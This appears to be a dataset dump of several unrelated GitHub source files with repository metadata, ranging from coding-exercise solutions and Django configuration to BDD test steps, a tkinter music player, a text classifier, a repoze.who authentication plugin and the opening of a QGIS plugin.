d635dc5499a458b1e7b7aa2229c38daf3f737ff0 | 2a10a10085bc992a9c7922412a5a874aaf22abb5 | /online_practice_problems/arrays/Wave Array.py | c4fa8c9c2132a6a9dab5a76d514800ae237f50c6 | [] | no_license | anuragseven/coding-problems | 53076770ab45587ccb24c4ac63431fe89525db84 | 50e91edd1a7675cf28dced756b544f830c653a3a | refs/heads/main | 2023-08-14T12:14:49.240423 | 2021-09-29T16:54:06 | 2021-09-29T16:54:06 | 395,361,475 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 433 | py | #Given a sorted array arr[] of distinct integers. Sort the array into a wave-like array and return it. In other words, arrange the elements into a sequence such that a1 >= a2 <= a3 >= a4 <= a5..... (considering the increasing lexicographical order).
def convertToWave(self,A,N):
for i in range(0,len(A),2):
if i+1==len(A):
return A
A[i],A[i+1]=A[i+1],A[i]
return A | [
"anuragtseven@gmail.com"
] | anuragtseven@gmail.com |
96c63b5c44628d36cfaee9cac11969265a458a8a | 451c90c50575b830b0d816faa11efddd83944b52 | /restaurant/urls.py | cbe99e9f1e85484520d098bf23f4dd1a1156c8a2 | [] | no_license | Luis-Palacios/restaurant-demo | e4038869eb727611b71a1d46d6ff00926316a383 | 3882866ae322562cf7fab4a31b998a0f6cbe1978 | refs/heads/master | 2022-12-11T20:17:18.320801 | 2019-10-09T18:43:26 | 2019-10-09T18:43:26 | 212,886,837 | 1 | 0 | null | 2022-12-08T06:40:41 | 2019-10-04T19:18:45 | JavaScript | UTF-8 | Python | false | false | 1,018 | py | """restaurant URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path, include
from django.conf.urls.static import static
from django.conf import settings
from menu.views import index
urlpatterns = [
path(r'^jet/', include('jet.urls', 'jet')), # Django JET URLS
path('admin/', admin.site.urls),
path('', index),
] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
| [
"lrpalaciosdev@gmail.com"
] | lrpalaciosdev@gmail.com |
3d7bde095f7c4d0f0e68b4b060a8f89a0fa2727c | 220f3b74eacf8626a7e4323ae5f80e9691062c1e | /dataset.py | f2bfb1ad52ebc2e63b31495b4d5b7754f656deda | [
"MIT"
] | permissive | gonziesc/ML-2019-reclamos-consumidor | 058540550c5c971411c08c268f7dd420983dd0fd | 4e0793a3c070f40e517d355d2bd5533ae9ab81bd | refs/heads/master | 2020-05-22T10:27:59.738817 | 2019-05-18T02:45:09 | 2019-05-18T02:45:09 | 186,310,932 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 805,607 | py | [ Instance([ 14105, 11 ], [ 1 ] ),
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Instance([ 29, 1 ], [ 1 ] ),
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Instance([ 251, 4 ], [ 1 ] ),
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Instance([ 2114, 4 ], [ 1 ] ),
Instance([ 37, 1 ], [ 1 ] ),
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Instance([ 95, 1 ], [ 1 ] ),
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Instance([ 15247, 12 ], [ 1 ] ),
Instance([ 15256, 1 ], [ 1 ] ),
Instance([ 15, 6 ], [ 1 ] ),
Instance([ 31, 1 ], [ 1 ] ),
Instance([ 50, 4 ], [ 1 ] ),
Instance([ 170, 13 ], [ 1 ] ),
Instance([ 22, 1 ], [ 1 ] ),
Instance([ 15257, 1 ], [ 1 ] ),
Instance([ 526, 1 ], [ 1 ] ),
Instance([ 81, 6 ], [ 1 ] ),
Instance([ 5, 5 ], [ 1 ] ),
Instance([ 183, 8 ], [ 1 ] ),
Instance([ 44, 12 ], [ 1 ] ),
Instance([ 49, 1 ], [ 1 ] ),
Instance([ 20, 5 ], [ 1 ] ),
Instance([ 5472, 1 ], [ 1 ] ),
Instance([ 15161, 14 ], [ 1 ] ),
Instance([ 15258, 1 ], [ 1 ] ),
Instance([ 15259, 4 ], [ 1 ] ),
Instance([ 5472, 1 ], [ 1 ] ),
Instance([ 29, 6 ], [ 1 ] ),
Instance([ 15260, 1 ], [ 1 ] ),
Instance([ 15261, 1 ], [ 1 ] ),
Instance([ 318, 4 ], [ 1 ] ),
Instance([ 15259, 4 ], [ 1 ] ),
Instance([ 15260, 1 ], [ 1 ] ),
Instance([ 34, 6 ], [ 1 ] ),
Instance([ 11315, 1 ], [ 1 ] ),
Instance([ 363, 4 ], [ 1 ] ),
Instance([ 95, 1 ], [ 1 ] ),
Instance([ 5, 5 ], [ 1 ] ),
Instance([ 9890, 15 ], [ 1 ] ),
Instance([ 158, 1 ], [ 1 ] ),
Instance([ 257, 10 ], [ 1 ] ),
Instance([ 32, 1 ], [ 1 ] ),
Instance([ 15262, 6 ], [ 1 ] ),
Instance([ 5, 5 ], [ 1 ] ),
Instance([ 3205, 4 ], [ 1 ] ),
Instance([ 878, 1 ], [ 1 ] ),
Instance([ 3205, 4 ], [ 1 ] ),
Instance([ 15263, 1 ], [ 1 ] ),
Instance([ 15264, 1 ], [ 1 ] ),
Instance([ 15265, 20 ], [ 1 ] ),
Instance([ 67, 8 ], [ 1 ] ),
Instance([ 20, 5 ], [ 1 ] ),
Instance([ 6, 5 ], [ 1 ] ),
Instance([ 22, 6 ], [ 1 ] ),
Instance([ 63, 1 ], [ 1 ] ),
Instance([ 5472, 1 ], [ 1 ] ),
Instance([ 5472, 1 ], [ 1 ] ),
Instance([ 15260, 1 ], [ 1 ] ),
Instance([ 15266, 1 ], [ 1 ] ),
Instance([ 93, 4 ], [ 1 ] ),
Instance([ 10990, 10 ], [ 1 ] ),
Instance([ 119, 4 ], [ 1 ] ),
Instance([ 43, 1 ], [ 1 ] ),
Instance([ 15161, 14 ], [ 1 ] ),
Instance([ 3205, 4 ], [ 1 ] ),
Instance([ 15267, 1 ], [ 1 ] ),
Instance([ 93, 4 ], [ 1 ] ),
Instance([ 62, 1 ], [ 1 ] ),
Instance([ 301, 20 ], [ 1 ] ),
Instance([ 4366, 4 ], [ 1 ] ),
Instance([ 46, 5 ], [ 1 ] ),
Instance([ 41, 1 ], [ 1 ] ),
Instance([ 15258, 1 ], [ 1 ] ),
Instance([ 4037, 1 ], [ 1 ] ),
Instance([ 15260, 1 ], [ 1 ] ),
Instance([ 945, 4 ], [ 1 ] ),
Instance([ 388, 4 ], [ 1 ] ),
Instance([ 15268, 3 ], [ 1 ] ),
Instance([ 436, 12 ], [ 1 ] ),
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Instance([ 372, 24 ], [ 1 ] ),
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Instance([ 10976, 4 ], [ 1 ] ),
Instance([ 15271, 25 ], [ 1 ] ),
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Instance([ 5472, 1 ], [ 1 ] ),
Instance([ 10280, 8 ], [ 1 ] ),
Instance([ 4737, 1 ], [ 1 ] ),
Instance([ 6703, 1 ], [ 1 ] ),
Instance([ 15273, 1 ], [ 1 ] ),
Instance([ 20, 5 ], [ 1 ] ),
Instance([ 40, 1 ], [ 1 ] ),
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Instance([ 29, 6 ], [ 1 ] ),
Instance([ 5, 5 ], [ 1 ] ) ] | [
"gonziesc@gmail.com"
] | gonziesc@gmail.com |
9db0b42b713d35f5d04405e09376faaafa86e7c8 | 09e45825b9b4c81ad0894d40fb122b081aa5f666 | /vcloud-automation/vcore/addVM.py | af5d217e3a46dbb25cca624e9b99b9b9bc862c23 | [
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | krisdigitx/python-vcloud-automation | dc3adbd244238aa997f761cf090f3e7915bfd5b4 | 7fa290074f9d1d485b6f161ff29e4ab5d52a4f36 | refs/heads/master | 2020-12-25T19:04:08.558576 | 2014-10-08T14:51:40 | 2014-10-08T14:51:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,186 | py | __author__ = 'krishnaa'
import urllib2
import base64
import sys
import xml.etree.ElementTree as ET
def addVM(vapp_name,vapp_desc,vapp_href,template_url,authtoken,method):
handler = urllib2.HTTPSHandler()
opener = urllib2.build_opener(handler)
url = vapp_href + '/action/recomposeVApp'
request = urllib2.Request(url)
request.add_header("Accept",'application/*+xml;version=5.5')
request.add_header("x-vcloud-authorization",authtoken)
request.add_header('Content-Type', 'application/vnd.vmware.vcloud.recomposeVAppParams+xml')
request.get_method = lambda: method
root = ET.Element('RecomposeVAppParams', attrib={
'xmlns':'http://www.vmware.com/vcloud/v1.5',
'xmlns:ovf':'http://schemas.dmtf.org/ovf/envelope/1',
'name':vapp_name
})
d = ET.SubElement(root, 'Description')
s = ET.SubElement(root, 'SourcedItem')
d.text = vapp_desc
s.attrib['sourceDelete'] = 'false'
se = ET.SubElement(s, 'Source')
se.attrib['href'] = template_url
#se.attrib['name'] = 'fTp Se4ver'
"""
s1 = ET.SubElement(root, 'SourcedItem')
s1.attrib['sourceDelete'] = 'false'
se1 = ET.SubElement(s1, 'Source')
se1.attrib['href'] = template_url
"""
eu = ET.SubElement(root, 'AllEULAsAccepted')
eu.text = 'true'
post_string = ET.tostring(root)
request.add_data(post_string)
print "URL: ", url
#print "Template URL: ", template_url
try:
connection = opener.open(request)
except urllib2.HTTPError,e:
connection = e
if connection.code == 200 or connection.code == 201 or connection.code == 202:
data = connection.read()
#print "Data from Entity"
print "Data :", data
else:
print "ERROR", connection.code
print connection.read()
sys.exit(1)
vapp_output = ET.fromstring(data)
print "data from elementtree"
print vapp_output
return vapp_output.attrib['href'] | [
"k.shekhar@kainos.com"
] | k.shekhar@kainos.com |
c6fec49644b29d3906866f7078534c97510ad8aa | 261f279a54df573313c29b539eb644e20e95e955 | /mrp_system/migrations/0002_auto_20181114_1116.py | 88640813f9c5d7ed1db4e1451107edfbedbcb4b1 | [
"MIT"
] | permissive | mgeorge8/django_time | 92fdee161cda477939a93b5838225b9cc2dc2c34 | f75a442941b0ebbb6cc46a6d18e42b91695b7e57 | refs/heads/master | 2021-07-18T11:34:47.530994 | 2019-02-01T03:22:29 | 2019-02-01T03:22:29 | 154,211,989 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 951 | py | # Generated by Django 2.1.2 on 2018-11-14 18:16
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('mrp_system', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='Field',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('fieldType', models.CharField(choices=[('char1', 'Character 1'), ('char2', 'Character 2'), ('integer1', 'Integer 1'), ('integer2', 'Integer 2')], max_length=15)),
('name', models.CharField(max_length=20)),
],
),
migrations.AddField(
model_name='type',
name='field',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, related_name='type', to='mrp_system.Field'),
),
]
| [
"ryan.kris.george@gmail.com"
] | ryan.kris.george@gmail.com |
a27330c916f19217395dbe8d4dc7463458cb185a | 1226c2e8f15aff6500d352d1947b97e37eb9ceca | /tree.py | 4a6649662a8d96c0c0c194e4a2dc6b500fa52c01 | [] | no_license | todorgrigorov/web-crawler | 0645646c65e376a3a78a82bb4206dcb494680435 | 4a98e69a8608e88a696017fb9b35d33dc16350be | refs/heads/master | 2022-01-08T10:09:24.736309 | 2019-05-05T09:04:50 | 2019-05-05T09:04:50 | 112,515,837 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,484 | py | class Node:
""" Represents a tree node with unique key and list of values. """
def __init__(self, key, value):
self.left = None
self.right = None
self.key = key
self.values = [value]
class Tree:
""" Represents a BST tree of Node values. """
def __init__(self):
self.root = None
def get_root(self):
return self.root
def add(self, key, value):
if self.root is None:
self.root = Node(key, value)
else:
self.add_node(key, value, self.root)
def add_node(self, key, value, node):
if key < node.key:
if node.left is not None:
self.add_node(key, value, node.left)
else:
node.left = Node(key, value)
elif key == node.key:
node.values.append(value)
else:
if node.right is not None:
self.add_node(key, value, node.right)
else:
node.right = Node(key, value)
def find(self, key):
if self.root is not None:
node = self.find_node(key, self.root)
if node:
return node.values
def find_node(self, key, node):
if key == node.key:
return node
elif key < node.key and node.left is not None:
return self.find_node(key, node.left)
elif key > node.key and node.right is not None:
return self.find_node(key, node.right)
| [
"toshko.grigorov95@gmail.com"
] | toshko.grigorov95@gmail.com |
f55db69cefed1925aae5931a44bdfbab24e7073f | 2a68b03c923119cc747c4ffcc244477be35134bb | /Alog/class6/exercises/combinationSumII.py | 2ddbded21f2c279ed331fe8f9496cd5b69ec649d | [] | no_license | QitaoXu/Lintcode | 0bce9ae15fdd4af1cac376c0bea4465ae5ea6747 | fe411a0590ada6a1a6ae1166c86c585416ac8cda | refs/heads/master | 2020-04-24T20:53:27.258876 | 2019-09-24T23:54:59 | 2019-09-24T23:54:59 | 172,259,064 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,025 | py | class Solution:
"""
@param num: Given the candidate numbers
@param target: Given the target number
@return: All the combinations that sum to target
"""
def combinationSum2(self, num, target):
# write your code here
results = []
combination = []
num.sort()
self.comSumhelper(num, combination, 0, results, target)
return results
def comSumhelper(self, num, combination, start_index, results, target):
if target == 0:
results.append(combination.copy())
return
for i in range(start_index, len(num)):
if target < num[i]:
return
if i != 0 and num[i] == num[i - 1] and i > start_index:
continue
combination.append(num[i])
self.comSumhelper(num, combination, i + 1, results, target - num[i])
combination.pop() | [
"xuqitao@qx-mbp.dhcp.wustl.edu"
] | xuqitao@qx-mbp.dhcp.wustl.edu |
2a7e1c817f83062edbb9b218c420e0aeb33fdb88 | 3c397042e7fa0d7d4fa25cd75f0d10babd9f933f | /lab_4/patterns/myvenv/Lib/site-packages/tests/radish/steps.py | 682c57dbbfa0b37ed7aac91e40e966e0ab7a925c | [] | no_license | StepanIonov/RIP_lab | f34f2a95fb8ddcfeeb703efd7088320f40ac1fc5 | 0fefaf77d664ed404d791422658a062fc3e9201c | refs/heads/master | 2023-02-20T12:38:33.389360 | 2021-01-18T10:13:24 | 2021-01-18T10:13:24 | 295,768,234 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,348 | py | # -*- coding: utf-8 -*-
"""
radish
~~~~~~
Behavior Driven Development tool for Python - the root from red to green
Copyright: MIT, Timo Furrer <tuxtimo@gmail.com>
"""
import os
import json
from radish import given, when, then, world
from radish.extensions.cucumber_json_writer import CucumberJSONWriter
@given("I have a step")
def have_a_step(step):
"Given I have a step"
pass
@when("I do something")
def do_something(step):
"When I do something"
pass
@then("I expect something")
def expect_something(step):
"Then I expect something"
pass
@given("I have the number {number:d}")
def have_number(step, number):
"Given I have the number <n>"
if not hasattr(step.context, "numbers"):
step.context.numbers = []
step.context.numbers.append(number)
@when("I add them up")
def sum_numbers(step):
"When I add them up"
step.context.sum = sum(step.context.numbers)
@when("I add them up with failure")
def sum_numbers(step):
"When I add them up with failure"
assert False, "Unable to add numbers: {0}".format(step.context.numbers)
@when("I subtract them")
def subtract_numbers(step):
"When I subtract them up"
difference = step.context.numbers[0]
for n in step.context.numbers[1:]:
difference -= n
step.context.difference = difference
@then("I expect the sum to be {expected_sum:d}")
def expect_sum(step, expected_sum):
"Then I expect the sum to be <n>"
assert (
step.context.sum == expected_sum
), "The expected sum {0} does not match actual sum {1}".format(
expected_sum, step.context.sum
)
@then("I expect the difference to be {expected_diff:d}")
def expect_sum(step, expected_diff):
"Then I expect the difference to be <n>"
assert (
step.context.difference == expected_diff
), "The expected difference {0} does not match actual difference {1}".format(
expected_diff.step.context.difference
)
@given("I have an instable function")
def have_instable_function(step):
"Given I have an instable function"
pass
@when("I execute it")
def execute_instable_function(step):
"When I execute it"
pass
@then("I expect it to pass")
def expect_instable_function_pass(step):
"Then I expect it to pass"
pass
@given("I have the following heros")
def have_heros(step):
"Given I have the following heros"
step.context.heros = step.table
@when("I capitalize their first name")
def cap_first_name(step):
"When I capitalize their first name"
for hero in step.context.heros:
hero["firstname"] = hero["firstname"].upper()
@then("I have the following names")
def have_names(step):
"Then I have the following names"
assert list(x["firstname"] for x in step.context.heros) == list(
x["cap_heroname"] for x in step.table
)
@given("I have the following quote")
def have_quote(step):
"Given I have the following quote"
step.context.quote = step.text
@when("I look for it's author")
def lookup_author(step):
"When I look for it's author"
step.context.author = "Shakespeare"
@then("I will find {:S}")
def expect_author(step, author):
"Then I will find <author>"
assert step.context.author == author
@when("I embed a text {test_text:QuotedString}")
def embed_a_text(step, test_text):
'When I embed a text "<test_text>"'
step.embed(test_text)
step.context.step_with_embedded_data = step
@then("step with embedded text should have following embedded data")
def embed_a_text(step):
"Then step with embedded text should have following embedded data"
assert hasattr(
step.context, "step_with_embedded_data"
), "step_embeddings is missing in context - please check if step with text embedding has been executed"
test_step_embeddings = step.context.step_with_embedded_data.embeddings
for embeddings in step.table:
assert embeddings in test_step_embeddings, "{0} not found in {1}".format(
embeddings, test_step_embeddings
)
@when("generate cucumber report")
def generate_cucumber_report(step):
cjw = CucumberJSONWriter()
cjw.generate_ccjson([step.parent.parent], None)
@then("genreated cucumber json equals to {expected_json_file:QuotedString}")
def proper_cucumber_json_is_generated(step, expected_json_file):
def remove_changing(d):
return {k: v for k, v in d.items() if k not in ["duration", "uri"]}
with open(world.config.cucumber_json, "r") as f_cucumber_json:
cucumber_json = json.load(f_cucumber_json, object_hook=remove_changing)
json_file_path = os.path.join(
os.path.dirname(step.path), "..", "output", expected_json_file
)
with open(json_file_path, "r") as f_expected_cucumber_json:
expected_cucumber_json = json.load(
f_expected_cucumber_json, object_hook=remove_changing
)
assert cucumber_json == expected_cucumber_json
@when("YAML specification is set to")
def yaml_specification_is_set_to(step):
step.context.doc_text = step.text
@then("YAML specification contains proper data")
def yaml_specification_contains_correct_data(step):
expected_data = """version: '3'
services:
webapp:
build: ./dir"""
assert step.context.doc_text == expected_data, '"{}" != "{}"'.format(step.context.doc_text, expected_data) | [
"42943755+StepanIonov@users.noreply.github.com"
] | 42943755+StepanIonov@users.noreply.github.com |
25836e06c045c87b89bc5b1b080203aefd2b067a | 497648388e631e484b5523bc5ca5f5df7d0e1b21 | /MusicPlayer.py | b85921fcaf68e58f1826f0c6f97def7ea19980dd | [
"MIT"
] | permissive | NishitSingh2023/MusicPlayer | e9d1dfcfa46980a0f1aab503728bc03ee67dcb76 | 4ab7d1e9e3a557fe32a8cf3116ad8c1f4ba3699e | refs/heads/master | 2020-09-17T06:06:38.301152 | 2020-01-11T12:11:29 | 2020-01-11T12:11:29 | 224,014,055 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,428 | py | from tkinter import *
from tkinter import filedialog
from tkinter import messagebox
from pygame import mixer
import os
root = Tk()
#Create Menubar
menubar = Menu(root)
root.config(menu=menubar)
#Create sub menu
subMenu = Menu(menubar, tearoff=0)
def browse_file():
global filename
filename = filedialog.askopenfilename()
menubar.add_cascade(label='File', menu=subMenu)
subMenu.add_command(label='Open',command=browse_file)
subMenu.add_command(label='Exit',command=root.destroy)
def About_Us():
messagebox.showinfo('About Music Player','Developer: Nishit Singh \nContact Me: ns2023@gmail.com')
subMenu = Menu(menubar, tearoff=0)
menubar.add_cascade(label='Help', menu=subMenu)
subMenu.add_command(label='About Me', command=About_Us)
mixer.init() #initializing the mixer
root.geometry('300x350+750+300')
root.title("Music Player")
root.iconbitmap(r'pics\music_player.ico')
text = Label(root,text='MUSIC PLAYER',fg = "blue", bg = "yellow", font = "Verdana 20 bold")
text.pack(pady=10)
def play_music():
try:
paused
except NameError:
try:
mixer.music.load(filename)
mixer.music.play()
statusbar['text']= "Playing Music" + '-' + os.path.basename(filename)
except:
#tkinter.messagebox.showerror('File Not Found','File Not Found Please import song')
browse_file()
else:
mixer.music.unpause()
def stop_music():
filename = None
mixer.music.stop()
statusbar['text']= "Stopped Music"
def pause_music():
global paused
paused = TRUE
mixer.music.pause()
def set_volume(volume):
volume=int(volume) / 100
mixer.music.set_volume(volume)
def rewind_music():
play_music()
statusbar['text']= "Playing Music" + '-' + os.path.basename(filename)
middleframe = Frame(root)
middleframe.pack(padx=15, pady=15)
#===============================================================================
playphoto = PhotoImage(file='pics\play.png')
playbtn = Button(middleframe, image=playphoto , command=play_music, width=200, bd=5)
playbtn.pack(pady=10)
#===============================================================================
stopphoto = PhotoImage(file='pics\stop.png')
stopbtn = Button(middleframe, image=stopphoto, command=stop_music ,bd=5)
stopbtn.pack(side='left',padx=20, pady=10)
#===============================================================================
pausephoto = PhotoImage(file='pics\pause.png')
pausebtn = Button(middleframe, image=pausephoto, command=pause_music ,bd=5)
pausebtn.pack(side='left',padx=20, pady=10)
#===============================================================================
rewindphoto = PhotoImage(file='pics\\rewind-button.png')
rewindbtn = Button(middleframe, image=rewindphoto, command=rewind_music ,bd=5)
rewindbtn.pack(side='left',padx=20, pady=10)
#===============================================================================
scale = Scale(root, from_=0,to=100,orient=HORIZONTAL, command=set_volume, length=200, bd=5)
scale.set(0.01)
mixer.music.set_volume(0.01)
scale.pack(pady=15)
#===============================================================================
statusbar = Label(root, text='Welcome To Music Player', relief=SUNKEN)
statusbar.pack(side='bottom', fill=X)
#===============================================================================
root.mainloop() #this helps countinously show windows
| [
"ns2023@gmail.com"
] | ns2023@gmail.com |
0b0d92fb199b44da6f7fbbafdf15b2cb7977dfbb | ee901f0e193d3545b027c5dc40df42ebcea5bd86 | /cheers-plain/cheers.py | 1f81a23577078b1c410b70d2a7a1d314365fe5a4 | [
"Apache-2.0"
] | permissive | haizaar/python-packaging-for-docker | 42ec166db5be226454428aedd473e6b78fe27d3f | d7bcf72785b3006d4c11ebab55d4531d56a88092 | refs/heads/master | 2020-04-22T00:41:03.474328 | 2019-02-10T23:48:04 | 2019-02-10T23:48:04 | 169,989,342 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 36 | py | import Crypto
print("Cheers mate")
| [
"haizaar@haizaar.com"
] | haizaar@haizaar.com |
3e09f91fbed2505f4a3baab99d1eb42c18e8cca5 | 71ac61eca989ef7ed6506d90dce31850f1102932 | /chatbot_naive_bayes.py | e97d0d365e9e621a8ce9943d4796e676bf15fb29 | [] | no_license | subham103/chatbot_query | f549f57f406612476c0aff5ebd8c5c718b89425a | be1ffb9ab10e60ac33f9945f343a7d1092f6d93f | refs/heads/master | 2020-04-15T16:04:26.031996 | 2019-01-12T13:36:41 | 2019-01-12T13:36:41 | 164,818,394 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,690 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Jan 7 00:13:44 2019
@author: subham
"""
# Natural Language Processing
# Importing the libraries
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
# Importing the dataset
dataset1 = pd.read_csv('training_queries.csv')
dataset2 = pd.read_csv('training_queries_labels.csv')
# Cleaning the texts
import re
import nltk
nltk.download('stopwords')
from nltk.corpus import stopwords
from nltk.stem.porter import PorterStemmer
corpus = []
for i in range(0, 1808):
review = re.sub('[^a-zA-Z]', ' ', dataset1['query'][i])
review = review.lower()
review = review.split()
ps = PorterStemmer()
review = [ps.stem(word) for word in review if not word in set(stopwords.words('english'))]
review = ' '.join(review)
corpus.append(review)
# Creating the Bag of Words model
from sklearn.feature_extraction.text import CountVectorizer
cv = CountVectorizer()
X = cv.fit_transform(corpus).toarray()
y = dataset2.iloc[:, 1].values
# Splitting the dataset into the Training set and Test set
from sklearn.cross_validation import train_test_split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 500/1808)
# Fitting Naive Bayes to the Training set
from sklearn.naive_bayes import GaussianNB
classifier = GaussianNB()
classifier.fit(X_train, y_train)
# Predicting the Test set results
y_pred = classifier.predict(X_test)
# Making the Confusion Matrix
from sklearn.metrics import confusion_matrix
cm = confusion_matrix(y_test, y_pred)
#this model have approximately 60-65% of accuracy which might be according to me is also the value of precision recall and hence F1 score | [
"noreply@github.com"
] | subham103.noreply@github.com |
c491ea053c0235de9bf5a7b075a17a4ab955864c | 5f97684516d29023e08aba40f36b927616bc5abd | /tool/ext/who/__init__.py | 5b538a57b6d3a2f62cb77da631dd87d438283339 | [] | no_license | neithere/tool | 6e6143b6bcf1737e77f5312a072d9cbf00058bb1 | 503c445fabb61ddb80025aa595cac2c05cb9a521 | refs/heads/master | 2023-06-21T23:17:40.469831 | 2011-03-02T08:41:43 | 2011-03-02T08:41:43 | 1,126,720 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,653 | py | # -*- coding: utf-8 -*-
"""
Authentication and identification
=================================
:state: beta
:dependencies: Doqu_, repoze.who_
This bundle integrates Tool with repoze.who_, a powerful and extremely
configurable identification and authentication framework.
The extension provides:
* sensible default configuration presets;
* authenticator and metadata provider that let you store user accounts as Docu_
documents;
* automatic registration of the middleware in
:class:`tool.application.ApplicationManager`;
* a protective decorator for views (:func:`requires_auth`) that ensures that
the view is only available for authenticated users;
* an easy way to access the user account document from any place of your
application (the :func:`get_user` function).
.. _repoze.who: http://docs.repoze.org/who/2.0/
.. _Doqu: http://pypi.python.org/pypi/doqu
You can choose between two commonly used configuration presets. You can also
safely ignore both and configure repoze.who as desired (see `custom_config`).
Bundle configuration:
* ``secret`` is a random string that is used to sign certain auth methods.
* ``preset`` — name of the preset to use (see list of available presets below).
Ignored if `config` if specified.
* ``config`` — dotted path to a dictionary (or a callable that returns
the dictionary) with custom configuration for the
PluggableAuthenticationMiddleware. Note that the callable configurator will
be called the bundle configuration dictionary.
Available presets:
* "basic" — sets up Basic Access Authentication (:rfc:`2617`).
* "form" — sets up the "auth ticket" protocol and a HTTP form for
identification, authentication and challenge.
Configuration examples
----------------------
Basic authentication preset (in YAML, unrelated settings omitted)::
tool.ext.who:
preset: 'basic'
This is enough for basic authentication to work. Note that the credentials are
compared against :class:`~tool.ext.who.User` instances, so make sure you
have at least one user in the database. You can create one in the shell::
$ ./manage.py shell
>>> from tool.ext.who import User
>>> user = User(username='john')
>>> user.set_password('my cool password') # will be encrypted
>>> user.save(context.docu_db)
Here we go, the user can now log in and his account object will be available
via :func:`get_user`. You can also try the "form" preset for better integration
with website design.
However, the presets are obviously useless for certain cases. You can always
fine-tune the repoze.who middleware as if you would do without Tool.
An example of custom PluggableAuthenticationMiddleware configuration::
tool.ext.who:
config: 'myproject.configs.who'
Here it is supposed that your custom configuration is composed according to the
repoze.who middleware documentation (as keywords) and stored in the module
`myproject.configs` like this::
who = {
'identifiers': [('basic_auth', basic_auth)],
…
}
API reference
-------------
"""
from tool import dist
dist.check_dependencies(__name__)
import logging
logger = logging.getLogger('tool.ext.who')
# 3rd-party
from repoze.who.middleware import PluggableAuthenticationMiddleware
# tool
from tool.signals import called_on
from tool.importing import import_whatever
from tool.plugins import BasePlugin
# FIXME let user configure databases per bundle:
from tool.ext.documents import storages, default_storage
# this bundle
from schema import User
from views import render_login_form
from presets import KNOWN_PRESETS
from shortcuts import get_user
from decorators import requires_auth
__all__ = ['requires_auth', 'get_user', 'User']
class AuthenticationPlugin(BasePlugin):
features = 'authentication'
requires = ('{document_storage}',)
def make_env(self, **settings):
if 'secret' not in settings:
# TODO: add tool.conf.ConfigurationError excepton class
raise KeyError('Plugin {0} requires setting "secret"'.format(__name__))
db_label = settings.pop('database', None)
database = storages.get(db_label) or default_storage()
if settings.get('config'):
conf = import_whatever(settings['config'])
mw_conf = conf(**settings) if hasattr(conf, '__call__') else conf
else:
preset = settings.get('preset', 'basic')
f = KNOWN_PRESETS[preset]
mw_conf = f(**settings)
return {
'middleware_config': mw_conf,
'database': database,
}
def get_middleware(self):
kwargs = self.env['middleware_config']
logger.debug('who conf: {0}'.format(kwargs))
return [
(PluggableAuthenticationMiddleware, [], kwargs),
]
'''
#@called_on(app_manager_ready)
def setup_auth(sender, **kwargs):
"""
Sets up a sensible default configuration for repoze.who middleware. Called
automatically when the application manager is ready.
"""
logger.debug('Setting up the bundle...')
bundle_conf = sender.get_settings_for_bundle(__name__)
if 'secret' not in bundle_conf:
# TODO: add tool.conf.ConfigurationError excepton class
raise KeyError('Bundle auth_who requires setting "secret"')
if bundle_conf.get('config'):
conf = import_whatever(bundle_conf['config'])
mw_conf = conf(**bundle_conf) if hasattr(conf, '__call__') else conf
else:
preset = bundle_conf.get('preset', 'basic')
f = KNOWN_PRESETS[preset]
mw_conf = f(**bundle_conf)
sender.wrap_in(PluggableAuthenticationMiddleware, **mw_conf)
'''
| [
"andy@neithere.net"
] | andy@neithere.net |
83c29ea807f200b7aa3c66a3c77c5dd188630072 | fb357af3e3f4285db9d9ad858c681de7b6955925 | /Futurmap_pdal.py | a45120a08af267efc9e92040f4bec42f448c4f64 | [] | no_license | Fanevanjanahary/futurmappdal | 12d9241ac625e73b36e52e490c9bd6317651153a | 46240f97ad67efbb50c76221effcb1428ae338e2 | refs/heads/master | 2020-04-14T17:15:03.664667 | 2019-01-03T13:48:09 | 2019-01-03T13:48:09 | 163,974,127 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,952 | py | # -*- coding: utf-8 -*-
"""
/***************************************************************************
FuturMapPDAL
A QGIS plugin
To integre pdal on qgis
Generated by Plugin Builder: http://g-sherman.github.io/Qgis-Plugin-Builder/
-------------------
begin : 2019-01-03
copyright : (C) 2019 by Futurmap
email : fanevanjanahary@gmail.com
***************************************************************************/
/***************************************************************************
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
***************************************************************************/
"""
__author__ = 'Futurmap'
__date__ = '2019-01-03'
__copyright__ = '(C) 2019 by Futurmap'
# This will get replaced with a git SHA1 when you do a git archive
__revision__ = '$Format:%H$'
import os
import sys
import inspect
from qgis.core import QgsProcessingAlgorithm, QgsApplication
from .Futurmap_pdal_provider import FuturMapPDALProvider
